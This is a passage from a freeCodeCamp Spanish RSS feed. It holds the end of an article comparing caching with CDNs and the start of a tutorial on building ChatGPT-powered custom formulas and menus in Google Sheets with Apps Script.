Miss)</strong>: Si la respuesta no está en la caché (<em>miss</em>), el servidor le dice a la Base de Datos que busque los datos requeridos.</li><li><strong>Almacenar en la caché</strong>: Una vez que obtienes los datos desde la Base de Datos, almacena la respuesta en la caché para solicitudes futuras.</li><li><strong>Enviar la respuesta</strong>: Finalmente, el servidor devuelve los datos al cliente.</li></ol><h3 id="qu-considerar-cuando-se-implementa-un-sistema-de-cach-"><strong>Qué considerar cuando se implementa un Sistema de Caché</strong></h3><h4 id="decide-cuando-usar-una-cach-"><strong>Decide cuando usar una Caché:</strong></h4><ul><li>Una caché es mejor para datos que son leídos frecuentemente pero modificados con menos frecuencia.</li><li>Los servidores de Caché no son apropiados para almacenar datos críticos ya que usan memoria volátil.</li><li>Datos importantes deberían ser almacenados en almacenamientos de datos persistentes para prevenir pérdida en caso de que el servidor de caché reinicie.</li></ul><h4 id="establece-una-pol-tica-de-vencimiento-"><strong>Establece una política de vencimiento:</strong></h4><ul><li>Implementa una política de vencimiento para quitar datos que expiraron desde la caché.</li><li>Evitar poner fechas de vencimiento demasiado cortas (para prevenir recargas de base de datos frecuentes), y demasiado largas (para prevenir datos vencidos).</li></ul><h4 id="mantener-la-sincronizaci-n-entre-almacenes-de-datos-y-la-cach-"><strong>Mantener la sincronización entre Almacenes de datos y la caché</strong></h4><ul><li>Las inconsistencias pueden surgir debido a operaciones separadas en almacenamiento de datos y la caché, especialmente en entornos distribuidos.</li></ul><h4 id="mitigar-fallas-"><strong>Mitigar fallas:</strong></h4><ul><li>Usa múltiples servidores de caché entre los distintos servidores de datos para evitar puntos únicos de falla.</li><li>Sobreaprovisionamiento de memoria para acomodar el uso incrementado y prevenir problemas de rendimiento.</li></ul><h4 id="implementa-una-pol-tica-de-desalojo-"><strong>Implementa una política de desalojo:</strong></h4><ul><li>Cuando la caché está llena, nuevos elementos podrían causar que los existentes sean quitados (desalojo de caché).</li><li>Una política de desalojo popular es <strong>Least Recently Used</strong> (<strong>LRU</strong> - Menos Usado Recientemente), pero otras políticas como <strong>Least Frequently Used</strong> (<strong>LFU</strong> - Menos Usado Frecuentemente) o <strong>First In, First Out</strong> (<strong>FIFO</strong> - Primero Adentro, Primero Afuera) se pueden elegir basado en casos de uso específicos.</li></ul><h3 id="aplicaciones-del-mundo-real-de-almacenamiento-en-cach-"><strong>Aplicaciones del mundo real de almacenamiento en Caché</strong></h3><p><strong>Plataformas de Redes Sociales</strong>: Imagina desplazarte a través de tu muro de Facebook. Gracias a la caché, puedes ver imágenes de perfil, publicaciones en tendencia, y contenido con me-gusta recientes, inclusive si millones de usuarios están accediendo a la plataforma simultáneamente.</p><p>Almacenar estos elementos accedidos frecuentemente en caché en servidores o en tu dispositivo minimiza los retrasos y hace que la experiencia sea más fluida y más atractiva.</p><p><strong>Páginas <strong><strong><strong>E-commerce:</strong></strong></strong></strong> Cuando buscas en Amazon por un nuevo aparato, esperas una experiencia de compra perfecta. La Caché juega un rol crucial aquí. Imágenes de productos, descripciones, e información de precios son almacenados en caché, permitiendo que el sitio web muestre los resultados de búsqueda y páginas de los productos rápidamente.</p><p>Esto es crucial especialmente durante temporadas picos como los Black Friday o Cyber Monday, donde la caché ayuda en manejar oleadas de tráfico y asegura a los clientes que puedan completar sus compras sin encontrar demoras.</p><p><strong>Sistemas de gestión de contenido<strong><strong><strong> (CMS):</strong></strong></strong></strong> Millones de sitios web se basan en plataformas CMS como WordPress. Para asegurar un rendimiento fluido para todos estos usuarios, muchas plataformas CMS integran plugins de caché. Estos plugins almacenan en caché las páginas accedidas frecuentemente, reduciendo la carga en el servidor y en la base de datos.</p><p>Esto se traduce a tiempos de carga de página más rápidos, mejora de clasificación de SEO debido a indexaciones más rápidas por los motores de búsqueda, y un sitio web más "responsive" en general, proveyendo una mejor experiencia para los visitantes.</p><!--kg-card-begin: html--><h2 id="what-is-cdn">¿Qué es una red de entrega de contenido (CDN)?</h2><!--kg-card-end: html--><p>Ahora, imagínate que un <strong>CDN</strong> es una red global de camiones de entrega de libros. En vez de almacenar todos los libros en una biblioteca central, tienes ramas locales en todo el mundo, cada una con copias de los libros más populares.</p><p>Cuando los lectores solicitan un libro, no tienes que enviarlo desde la biblioteca principal. Sino que, los diriges a la rama más cercana, donde pueden tomar una copia rápidamente. Esto se reduce en el tiempo de viaje (tiempo de transferencia de datos) y mantiene a todos contentos con acceso rápido a sus libros favoritos.</p><p>En términos técnicos, un <strong>CDN</strong> es una red de servidores distribuidos en varias ubicaciones globalmente. Su propósito primario es entregar contenido web, tales como imágenes, vídeos, scripts, y hojas de estilo a los usuarios más eficientemente al reducir la distancia física entre el servidor y el usuario.</p><h3 id="c-mo-funcionan-los-cdns-"><strong>Cómo funcionan los CDNs:</strong></h3><p>Primero, imagina que el <em>Usuario A</em> quiere ver una imagen en un sitio web. Hacen clic en un enlace provista por el CDN, como “<a href="https://mysite.cloudfront.net/logo.jpg" rel="noopener">https://mywebsite.cloudfront.net/image.jpg</a>". Esto solicita la imagen.</p><p>Luego, si la imagen no está en el <em>almacén del CDN</em> (caché), el CDN solicita la imagen desde la <em>fuente original</em>, como un servidor web o un S3 de Amazon.</p><p>En respuesta a eso, la fuente original devuelve la imagen al CDN. Podría incluir un encabezado <strong>Time-to-Live</strong> (<strong>TTL</strong>), indicando cuánto tiempo debería la imagen permanecer en la caché.</p><p>Luego, el CDN almacena la imagen y lo sirve al Usuario A. Se mantiene en la caché hasta que el TTL expira.</p><p>Luego, digamos que el usuario B solicita la misma imagen. En este punto, el CDN verifica si todavía está en la caché. Si la imagen todavía está en la caché (el TTL no ha expirado), el CDN lo sirve desde allí (un hit). De otra forma (un miss), solicita una copia fresca desde el origen.</p><h3 id="qu-considerar-cuando-se-implementa-un-cdn"><strong>Qué considerar cuando se implementa un CDN</strong></h3><ul><li><strong><strong>Cost</strong>o<strong> </strong>de gestión</strong>: los CDNs cobran por las transferencias de datos. Es aconsejable almacenar en caché contenido accedido con frecuencia, pero no todo.</li><li><strong>Caducida de la <strong>Caché</strong></strong>: Establece tiempos de caducidad apropiados. Demasiado largos, y el contenido podría quedar obsoleto. Demasiado cortos, y sobrecargas los servidores de origen.</li><li><strong>Reserva de <strong>CDN</strong></strong>: Plan para fallas de CDN. Asegúrate que tu sitio web puede cambiar a que solicite recursos directamente desde el servidor de origen si es necesario.</li><li><strong>Invalidar<strong> </strong>archivos</strong>: Puedes quitar archivos desde el CDN antes de que expiren usando varios métodos provistos por proveedores de CDN.</li></ul><h3 id="aplicaciones-del-mundo-real-de-un-cdn"><strong>Aplicaciones del mundo real de un CDN</strong></h3><p><strong>Servicios de Transmisión de Vídeo</strong>: Imagina que estás en Sidney, Australia, ansiando ver la última temporada de tu show favorito en Netflix. Sin un <em>CDN</em>, los datos hubieran tenido que viajar desde el servidor, digamos, California, llevando a cortes por causa de sobrecarga del buffer y retrasos frustrantes.</p><p>Pero gracias a los CDNs, Netflix almacena en caché contenido popular en servidores que son cercanos a ti, en Sindey o en sus regiones circundantes. Esto reduce significativamente la distancia que los datos necesitan viajar, asegurando una reproducción fluida y una experiencia de visualización sin interrupciones, sin importar de tu ubicación.</p><p>De hecho, los estudios muestran que los CDNs pueden <strong>reducir el tiempo de inicio del vídeo hasta 50%</strong>, haciendo una diferencia significante en la satisfacción del usuario.</p><p><strong>Distribución de Contenido de Juegos</strong>: los jugadores conocen el dolor de esperar actualizaciones de juegos masivos o descargas DLC. Pero compañías como Steam y Epic Games aprovechan los CDNs para hacer las cosas más rápido.</p><p>Estas plataformas almacenan en caché archivos de juegos, actualizaciones, y recursos multi-jugador en servidores que son cercanos a las comunidades de juegos. Esto significa que sea que estés descargando un nuevo juego en Nueva York o parcheando tu título favorito en Tokio, los datos no tienen que viajar entre continentes.</p><p>Usando <em>CDNs</em> puede disminuir bastante los tiempos de descarga, lo que conlleva a acceso más rápido a los juegos que amas y experiencias de multi-jugador más fluido con retrasos mínimos.</p><p><strong>Sitios web de noticias globales</strong>: Mantenerse informado sobre eventos globales no debería ser obstaculizado por tiempos de carga lentas. Las grandes organizaciones de noticias como BBC News y el New York Times usan <em>CDNs</em> para asegurarse que sus actualizaciones de las últimas noticias y contenido multimedia alcancen audiencias a nivel mundial instantáneamente. </p><p>Al almacenar en caché información crítica como artículos, vídeos, e imágenes en servidores entre diferentes continentes, los CDNs permiten a los sitios web de noticias que entreguen actualizaciones en tiempo real rápidamente, manteniendo a los lectores informados sin importar su ubicación.</p><p>Durante eventos importantes o emergencias, esto puede ser especialmente crucial, como se evidenció por un estudio de caso donde una organización de noticias usando un CDN reportó un <strong>incremento del 20% en tráfico del sitio web sin ningún problema de rendimiento</strong> durante un evento de noticias de última hora.</p><!--kg-card-begin: html--><h2 id="cdn-cache-difference">Almacenamiento en Caché vs CDNs – ¿Cuál es la diferencia?</h2><!--kg-card-end: html--><h3 id="similitudes-entre-la-cach-y-los-cdns-"><strong>Similitudes entre la caché y los CDNs:</strong></h3><p><strong>Rendimiento Mejorado</strong>: Tanto como los CDNs y la caché apuntan a mejorar el rendimiento del sitio web al reducir la latencia y acelerar la entrega de contenido.</p><p><strong>Uso de Recursos Eficiente</strong>: Al servidor contenido almacenado en caché o replicados, ambos enfoques ayudan en optimizar el uso de los recursos y reducir la carga del servidor.</p><p><strong>Experiencia de Usuario Mejorada</strong>: Tiempos de carga más rápidas llevan a una mejor experiencia de usuario, sea si se logró a través de CDNs o de la caché.</p><h3 id="diferencias-entre-almacenar-en-cach-y-los-cdns"><strong>Diferencias entre almacenar en Caché y los CDNs</strong></h3><h4 id="alcance-"><strong>Alcance:</strong></h4><ul><li><strong>CDNs</strong>: los CDNs son una red de servidores ubicados en diferentes lugares geográficos alrededor del mundo.</li><li><strong>Caché</strong>: Almacenar en Caché es un método de almacenamiento contenido web en el dispositivo del usuario en un servidor.</li></ul><h4 id="implementaci-n-"><strong>Implementación:</strong></h4><ul><li><strong>CDNs</strong>: los CDNs requieren una infraestructura y una configuración separada.</li><li><strong>Caché</strong>: la Caché puede ser implementada dentro de una aplicación web o en un servidor usando reglas y directivas de almacenamiento en caché.</li></ul><h4 id="cobertura-geogr-fica-"><strong>Cobertura geográfica:</strong></h4><ul><li><strong>CDNs</strong>: Diseñado para entrega de contenido web a los usuarios alrededor del mundo.</li><li><strong>Caché</strong>: Típicamente usado para mejorar el rendimiento para los usuarios individuales o en una red local.</li></ul><h4 id="arquitectura-de-red-"><strong>Arquitectura de red:</strong></h4><ul><li><strong>CDNs</strong>: Usan una red distribuida de servidores para almacenar en caché y entregar el contenido.</li><li><strong>Caché</strong>: Esto puede ser implementado usando varios tipos de almacenamiento tales como el disco local, memoria, o una caché del lado del servidor.</li></ul><h4 id="beneficios-de-rendimiento-"><strong>Beneficios de rendimiento:</strong></h4><ul><li><strong>CDNs</strong>: Proveen entrega de contenido más rápido y más confiable al almacenar en caché el contenido en múltiples ubicaciones.</li><li><strong>Caché</strong>: Mejora el rendimiento al reducir el número de solicitudes al servidor de origen y entrega el contenido más rápido desde una caché local.</li></ul><h4 id="coste-"><strong>Coste:</strong></h4><ul><li><strong>CDNs</strong>: Pueden ser más caros de implementar y de mantener debido a la necesidad de una infraestructura separada y costes continuos para el mantenimiento de red.</li><li><strong>Caché</strong>: Puede ser implementado usando infraestructura existente y recursos de servidor, reduciendo potencialmente los costes.</li></ul><!--kg-card-begin: html--><h2 id="when-to-use-cache">Cuándo usar la Caché</h2><!--kg-card-end: html--><p>La Caché es ideal para contenido <em>accedido frecuentemente</em> que no cambia con frecuencia. Esto incluye recursos estáticos como <em>imágenes</em>, <em>archivos CSS</em>, y <em>librerías de JavaScript</em>.</p><p>Es efectivo particularmente para sitios web con una base de usuarios sustancial que acceden a contenido similar, tales como nuevos sitios web, blogs, y plataformas e-commerce.</p><p>La Caché también puede reducir significativamente la carga del servidor y mejorar los tiempos de respuesta para los usuarios, especialmente en escenarios donde la latencia de entrega de contenido se tiene en cuenta.</p><!--kg-card-begin: html--><h2 id="when-to-use-cdns">Cuándo usar CDNs</h2><!--kg-card-end: html--><p>Los CDNS son invaluables para <em>entregar contenido</em> a una audiencia global, especialmente cuando la <em>distancia geográfica</em> entre los usuarios y los servidores de origen llevan a problemas de latencia.</p><p>Son adecuados para servir contenido dinámico, transmitir vídeos, y manejar picos repentinos en el tráfico.</p><p>Los CDNs también destacan en escenarios donde el contenido necesita ser entregado con seguridad y consistentemente entre las diversas regiones geográficas, asegurando una experiencia de usuario óptima sin importar la ubicación.</p><!--kg-card-begin: html--><h2 id="combining-cache-cdns">Combinando la Caché y los CDNs</h2><!--kg-card-end: html--><p>En muchos escenarios, emplear ambos la caché y los CDNs juntos proveen resultados óptimos, particularmente para sitios web dinámicos y aplicaciones donde una mezcla de entrega de contenido estático y dinámico es esencial. Consideremos un sitio web de noticias popular como ejemplo.</p><p>Imagina un sitio web de noticias bullicioso que regularmente publica artículos de noticias de último momento, acompañado de imágenes y vídeos. Mientras el contenido de las noticias principal es dinámico y actualizado frecuentemente, las imágenes y los vídeos asociados con artículos más viejos permanecen relativamente estáticos y son accedidos repetidamente por los usuarios.</p><p>Para abarcar esto, el sitio web puede implementar una estrategia combinada:</p><ol><li><strong>Almacenar en Caché<strong> </strong>e<strong>n </strong>el<strong> </strong>servidor de o<strong>rig</strong>e<strong>n:</strong></strong> Elementos que se acceden frecuentemente como plantillas de sitio web, menús de navegación, y contenido estático son almacenados en caché directamente en el servidor de origen. Esta caché reduce la carga del servidor y mejora el rendimiento para las cargas de página iniciales.</li><li><strong>Almacenamiento en Caché del <strong>CDN:</strong></strong> El sitio web aprovecha un CDN para almacenar en caché imágenes y vídeos accedidos frecuentemente que están asociados con artículos de noticias en servidores edge ubciados a nivel mundial. Esto asegura que los usuarios, sin importar su ubicación geográfica, puedan acceder rápidamente a estos elementos con una mínima latencia.</li></ol><p>Hay muchos beneficios del enfoque combinado, tales como:</p><ul><li><strong>Tiempos de carga más veloces</strong>: Al servir contenido almacenado en caché tanto desde el servidor de origen como desde servidores de CDN, la experiencia de usuario acelera significativamente los tiempos de carga, lo que conlleva a una experiencia de navegación más atractiva.</li><li><strong><strong>Carga de </strong>s<strong>ervidor </strong>r<strong>educido</strong></strong>: al almacenar en caché alivia la presión en el servidor de origen, permitiéndole que procese efectivamente actualizaciones de contenido dinámico mientras sirve elementos estáticos desde la caché.</li><li><strong>Alcance global mejorada</strong>: El CDN asegura que los usuarios a nivel mundial puedan acceder al sitio web y su contenido con retrasos mínimos, independientemente de su proximidad al servidor de origen.</li></ul><p>Pero también hay algunos factores a considerar:</p><ul><li><strong>Invalidación de <strong>Caché:</strong></strong> Actualizar regularmente contenido almacenado en caché les asegura a los usuarios que accedan a la información más reciente. La mayoría de los CDNs ofrecen mecanismos de invalidación de caché eficientes para facilitar este proceso.</li><li><strong>Optimización de c<strong>os</strong>te<strong>:</strong></strong> Siendo que al combinar la caché y los CDNs mejoran el rendimiento, es crucial evaluar la eficacia del coste de almacenar en caché contenido específico. Analizar los patrones de acceso de usuario ayuda en determinar la estrategia óptima de almacenamiento en caché.</li></ul><p>Al combinar la caché y los CDNs de manera estratégica, tú y tu equipo pueden crear una infraestructura de entrega de contenido robusta que entrega una experiencia de usuario superior en todo el mundo.</p><!--kg-card-begin: html--><h2 id="wrapping-up">Concluyendo</h2><!--kg-card-end: html--><p>Tanto como los CDNs y la Caché juegan roles cruciales al optimizar el rendimiento del sitio web y la experiencia de usuario al acelerar la entrega de contenido.</p><p>Mientras que la caché almacena datos accedidos frecuentemente de manera local para una recuperación rápida, los CDNs proveen una red de servidores distribuida geográficamente para entregar contenido de forma eficiente a los usuarios a nivel mundial.</p><p>Entender sus similitudes en mejora de rendimiento y utilización de los recursos, así también como sus diferencias claves en alcance, implementación, y coste es crucial para elegir el enfoque correcto para tus necesidades específicas.</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo integrar ChatGPT con Google Sheets usando Google Apps Script ]]>
                </title>
                <description>
                    <![CDATA[ Bienvenido a este tutorial sobre cómo integrar ChatGPT con Google Spreadsheets usando la API de GPT y Google Apps Script. Crearemos dos fórmulas personalizadas, GPT_SUMMARY y GPT_SIMPLIFY. Puedes usar  GPT_SUMMARY para resumir un pasaje grande o un texto en viñetas para una fácil lectura. Y puedes usar GPT_SIMPLIFY para ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-integrar-chatgpt-con-google-sheets-usando-google-apps-script/</link>
                <guid isPermaLink="false">664d686426bf7b0404c5d9ec</guid>
                
                    <category>
                        <![CDATA[ chatgpt ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Tue, 18 Jun 2024 01:31:57 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/05/GPT-IN-SHeets.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/create-chat-gpt-formulas-in-google-sheets/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Integrate ChatGPT with Google Sheets Using Google Apps Script</a>
      </p><p>Bienvenido a este tutorial sobre cómo integrar ChatGPT con Google Spreadsheets usando la API de GPT y Google Apps Script.</p><p>Crearemos dos fórmulas personalizadas, <code>GPT_SUMMARY</code> y <code>GPT_SIMPLIFY</code>. Puedes usar <code>GPT_SUMMARY</code> para resumir un pasaje grande o un texto en viñetas para una fácil lectura. Y puedes usar <code>GPT_SIMPLIFY</code> para simplificar el Inglés (o Español) que sea fácil de leer.</p><p>También crearemos menús con acceso a funciones que realizan las mismas tareas que las fórmulas. Luego discutiremos los pros y contras de usar fórmulas versus menús.</p><p>Al final de este tutorial, entenderás cómo usar ChatGPT en Google Sheets con Google Apps Script. También serás capaz de modificar las fórmulas y menús para conseguir según tus propias necesidades, tales como crear CVs, publicaciones de redes sociales, o cartas de presentación.</p><p>Puedes encontrar el código fuente de este proyecto en <a href="https://github.com/nibukdk/GPT_Google_Sheets_Integration">este</a> repo en Github.</p><p>Si quieres seguirlo con una versión en vídeo de este artículo, aquí lo tienes:</p><figure class="kg-card kg-embed-card" data-test-label="fitted">
        <div class="fluid-width-video-container">
          <div style="padding-top: 56.17977528089888%;" class="fluid-width-video-wrapper">
            <iframe width="356" height="200" src="https://www.youtube.com/embed/DlcJv97TZhE?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" title="How to Integrate ChatGPT with Google Sheets Using Apps Script?" name="fitvid0" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 27.5px; vertical-align: middle; position: absolute; top: 0px; left: 0px; width: 720px; height: 404.484px;"></iframe>
          </div>
        </div>
      </figure><h3 id="pre-requisitos"><strong>Pre-requisitos</strong></h3><p>Este tutorial no es para principiantes en Apps Script o JavaScript. No estaré explicando cada método o clase usada en el código. Esto tampoco es un tutorial sobre cómo usar y optimizar ChatGPT – sino que nos enfocaremos en cómo integrar ChatGPT en Google Sheets.</p><h4 id="-para-qui-n-es-este-tutorial"><strong>¿Para quién es este tutorial?</strong></h4><p>Este tutorial es para usuarios intermedios a avanzados quienes tienen un entendimiento básico de Apps Script y JavaScript. Si eres nuevo a cualquiera de estos lenguajes, te recomiendo que comiences con un tutorial de principiantes antes de intentar este tutorial.</p><h2 id="paso-1-obt-n-la-clave-de-la-api-de-chatgpt"><strong>Paso 1 – Obtén la clave de la API de ChatGPT</strong></h2><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689645559540/943d9a3e-d326-4cd9-ab45-0866898110d2.png" class="kg-image" alt="Get ChatGpt API Keys" width="1747" height="992" loading="lazy"><figcaption>Obtén la clave de la API de ChatGpt</figcaption></figure><p>Primero, si todavía no tienes una cuenta en OpenAI, necesitarás <a href="https://auth0.openai.com/u/signup/identifier?state=hKFo2SBWU2Y5U0ZjYXlDWG5LU0xhdmxhd1pCVW1wQ2ppUUp3eKFur3VuaXZlcnNhbC1sb2dpbqN0aWTZIERpalA1aER5X3hGdEl0TzlRdnlud3FJQ2NlcDduNm4zo2NpZNkgRFJpdnNubTJNdTQyVDNLT3BxZHR3QjNOWXZpSFl6d0Q">crear</a> una. Una vez que tengas una cuenta, puedes crear un nueva clave API yendo a la sección de claves API en la pestaña User (Usuario).</p><p>Haz clic en el botón Crear nueva clave secreta y copia la clave después que haya sido creado. <em>No serás capaz de ver esta clave API nuevamente, </em>así que asegúrate de copiarlo a un lugar seguro.</p><h2 id="paso-2-obt-n-los-datos-de-la-api-de-chatgpt-con-apps-script"><strong>Paso 2 – Obtén los datos de la API de ChatGpt con Apps Script</strong></h2><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689558938459/8586ac7a-9b41-41ef-9dcd-c4297436912d.png" class="kg-image" alt="8586ac7a-9b41-41ef-9dcd-c4297436912d" width="2227" height="1027" loading="lazy"><figcaption>Muestra de una Hoja de Cálculo</figcaption></figure><p>Le puse el nombre <code>GPT_Integration</code> a mi hoja de cálculo con tres columnas: <strong>Passage</strong> (Pasaje), <strong>Simplified Passage</strong> (Pasaje Simplificado), y <strong>Summarized Text</strong> (Texto Resumido).</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689559154810/de6ba3ed-a5af-4a23-ab45-e64bd39a48e6.png" class="kg-image" alt="How to Open Apps Script Code Editor From Spreadsheet" width="668" height="482" loading="lazy"></figure><p>Abramos el app script para ésta hoja de cálculo, renómbralo a <code>GPT_Integration</code>, y también renombra el archivo existente a <code>utils.gs</code>. Crearemos una función llamada <code>fetchData</code> allí.</p><pre><code class="language-javascript">const CHAT_GPT_API_KEY = "pega tu clave API aquí"
const BASE_URL = "https://api.openai.com/v1/chat/completions";


function fetchData(systemContent, userContent) {
  try {
    const headers = {
      "Content-Type": "application/json",
      "Authorization": `Bearer ${CHAT_GPT_API_KEY}`
    };

    const options = {
      headers,
      method: "GET",
      muteHttpExceptions: true,
      payload: JSON.stringify({
        "model": "gpt-3.5-turbo",
        "messages": [{
          "role": "system",
          "content": systemContent,
        },
        {
          "role": "user",
          "content": userContent
        },
        ],
        "temperature": 0.7
      })
    };

    const response = JSON.parse(UrlFetchApp.fetch(BASE_URL, options));
    //console.log(response);
    //console.log(response.choices[0].message.content)
    return response.choices[0].message.content;
  } catch (e) {
    console.log(e)
    SpreadsheetApp.getActiveSpreadsheet().toast("Ocurrió algún error. Por favor verifica tu fórmula o intenta nuevamente más tarde.");
    return "Ocurrió algún error. Por favor verifica tu fórmula o intenta nuevamente más tarde.";
  }
}</code></pre><p>Aquí hay algunos puntos claves a observar en el código de arriba:</p><ol><li>Pega la clave API que creaste anteriormente dentro de las comillas.</li><li>Estaremos usando la API de Chat Completions. Puedes encontrar más detalles <a href="https://platform.openai.com/docs/api-reference/chat/create">aquí</a>.</li><li>Los modelos de ChatGPT tienen diferentes roles, tales como sistema, usuario, y asistente.</li><li>El parámetro <code>systemContent</code> es donde provees un juego de roles para el sistema de GPT. Por ejemplo, podrías decir: "Eres un profesor experto en álgebra" o "Eres un escritor experto en CV".</li><li>El parámetro <code>userContent</code> es donde provees tareas a realizar para el modelo. En nuestro caso, proveeremos pasajes largos desde la hoja de cálculo para resumir y simplificar.</li><li>Estaremos usando el <a href="https://platform.openai.com/docs/models/gpt-3-5">modelo turbo GPT 3.5</a>.</li><li>Estamos silenciando las <code>HTTPExceptions</code> así podemos usar nuestro propio mensaje de error en el bloque catch.</li><li>La cadena de error es útil cuando afrontamos errores tales como <a href="https://platform.openai.com/docs/guides/rate-limits/what-are-the-rate-limits-for-our-api">Rate Limit Exceed</a>.</li></ol><p>Estamos devolviendo el contenido del objeto response de GPT que luego será manejado por nuestras fórmulas.</p><p>El objeto response de ChatGPT tiene la siguiente estructura:</p><pre><code class="language-json">{
  "id": "chatcmpl-123",
  "object": "chat.completion",
  "created": 1677652288,
  "choices": [{
    "index": 0,
    "message": {
      "role": "assistant",
      "content": "\n\nHola! ¿en qué te puedo ayudar hoy?",
    },
    "finish_reason": "stop"
  }],
  "usage": {
    "prompt_tokens": 9,
    "completion_tokens": 12,
    "total_tokens": 21
  }
}</code></pre><p>Lee más sobre cómo usar la URLFetchApp desde <a href="https://developers.google.com/apps-script/reference/url-fetch/url-fetch-app">aquí</a>.</p><h2 id="paso-3-integrar-chatgpt-como-una-f-rmula-de-sheets"><strong>Paso 3 – Integrar ChatGpt como una fórmula de sheets</strong></h2><h3 id="f-rmula-gpt-simplify"><strong>Fórmula GPT SIMPLIFY</strong></h3><p>Nuevamente, para la fórmula personalizada, crearemos un nuevo archivo llamado <code>formula</code> y luego crearemos una función llamada <code>GPT_SIMPLIFY</code>.</p><pre><code class="language-javascript">/**
 * Simplifica el párrafo dado en el término de layman.
 * @param {String} input El valor a simplificar.
 * @return Texto Simplificado.
 * @customfunction
 */
function GPT_SIMPLIFY(input) {
  console.log(input)
  const systemContent = "Simplificar el texto dado en términos de layman. Recuerda que el lector/a no es un experto en español.";
  return Array.isArray(input) ?
    input.flat().map(text =&gt; fetchData(systemContent, text)) :
    fetchData(systemContent, input);

}</code></pre><ol><li>La fórmula <code>GPT_SIMPLIFY</code> simplifica cualquier texto que se provea como entrada. La entrada a esta función son datos que vienen de la hoja de cálculos. Cuando seleccionas un rango, una celda, o múltiples celdas, los datos en el rango serán proveídos automáticamente por la hoja de cálculo a esta fórmula.</li><li>El <code>systemContent</code> se define para que se pase como el primer parámetro a la función <code>fetchData(systemContent,userContent)</code>.</li><li>Estamos verificando si la entrada es un Arreglo porque los datos que se pasan a esta función puede ser un arreglo anidado o sólo una cadena si seleccionamos múltiples celdas o una sola, respectivamente, en la hoja de cálculos.</li></ol><p>Puedes leer más sobre funciones personalizadas en esta <a href="https://developers.google.com/apps-script/guides/sheets/functions?hl=es-419">página</a>.</p><p>Ahora, adelante y aplica esta fórmula en tu hoja de cálculo. Copié algo de texto de un libro que estoy leyendo en la primer columna y apliqué la fórmula en la segunda columna llamada "Simplify Passage", así <code>=GPT_SIMPLIFY(A2)</code> para la segunda celda.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/07/gpt_simplify_formula.png" class="kg-image" alt="gpt_simplify_formula" width="600" height="400" loading="lazy"><figcaption>Aplicación de la Fórmula <code>GPT_SIMPLIFY</code></figcaption></figure><p>Nota: Asegúrate de refrescar la hoja de cálculo antes de que apliques la fórmula para sincronizar con los últimos cambios en el script.</p><h3 id="gpt-summary"><strong>GPT SUMMARY</strong></h3><p>Para resumir la fórmula, copiaremos la función <code>simplify</code> y algunas otras cosas, como puedes ver en el código de abajo.</p><pre><code class="language-javascript">/**
 * Resume el párrafo dado. Provee viñetas de 3 a 5
 *
 * @param {String} input El valor a resumir.
 * @return Texto Resumido.
 * @customfunction
 */
function GPT_SUMMARY(input) {
  console.log(input)
  const systemContent = "Resume el texto dado. Provee al menos entre 3 y casi 5 viñetas.";
  return Array.isArray(input) ?
    input.flat().map(text =&gt; fetchData(systemContent, text)) :
    fetchData(systemContent, input);

}</code></pre><p>Lo principal a notar aquí es el contenido distinto del sistema.</p><p><strong>Nota</strong>: Ya que esto no es un tutorial sobre cómo usar ChatGpt de forma óptima, proveí instrucciones como el contenido de sistema en vez de un juego de roles, y luego proveí los datos en el contenido de usuario. Puedo improvisar al suministrar roles en el contenido de sistema, y tareas así también como datos como dos roles de usuarios distintos en nuestra función <code>FetchData()</code>.</p><h3 id="error-de-l-mite-de-velocidad-de-gpt"><strong>Error de límite de velocidad de GPT</strong></h3><p>Para usuarios gratuitos, el límite de velocidad para usar la API es de <strong>3 minutos</strong>. Como tal, cuando aplicas estas fórmulas en más de tres celdas, encontrarás el error. Afortunadamente, la ejecución no se detendrá porque estamos ejecutando una cadena de error desde los datos de petición, el cual se guardarán en esas celdas.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689574131023/70e326ac-33bd-4d75-96db-208fc27b5859.png" class="kg-image" alt="GPT Rate Limit Error" width="2178" height="321" loading="lazy"><figcaption>API rate limit error</figcaption></figure><h3 id="auto-refresco-y-error"><strong>Auto refresco y error</strong></h3><p>Además, la característica de auto-refresco de la fórmula puede forzar la re-aplicación de la fórmula en celdas que ya tienen valores satisfactorios cuando sea que las celdas fuentes se actualicen, en nuestro caso las celdas en la columna "A".</p><p>Cuando agregamos un límite de velocidad por encima del auto-refresco, puede causar una adivinanza. Técnicamente puedes hacer cambios en funciones personalizadas para acomodar tales circunstancias, pero, me gusta mantener las fórmulas livianas y eficientes. Así que, recomiendo que creemos menús personalizados y apliquemos estas funciones manualmente.</p><h2 id="paso-4-integrar-la-api-chat-de-gpt-en-funciones-de-men-de-hoja-de-estilo"><strong>Paso 4 – Integrar la API Chat de GPT en funciones de menú de hoja de estilo</strong></h2><h3 id="gpt-simplify-menu"><strong>GPT Simplify Menu</strong></h3><p>Primero, creemos otro archivo llamado <code>menu</code>. Luego, crearemos la función <code>gptSimplifyMenu</code> el cual será una alternativa a la fórmula <code>GPT_SIMPLIFY</code>.</p><pre><code class="language-javascript">
/**
 * Simplifica el párrafo dado en términos de layman.
 * @customfunction
 */
function gptSimplifyMenu() {
  try {
    // obtiene hojas y datos
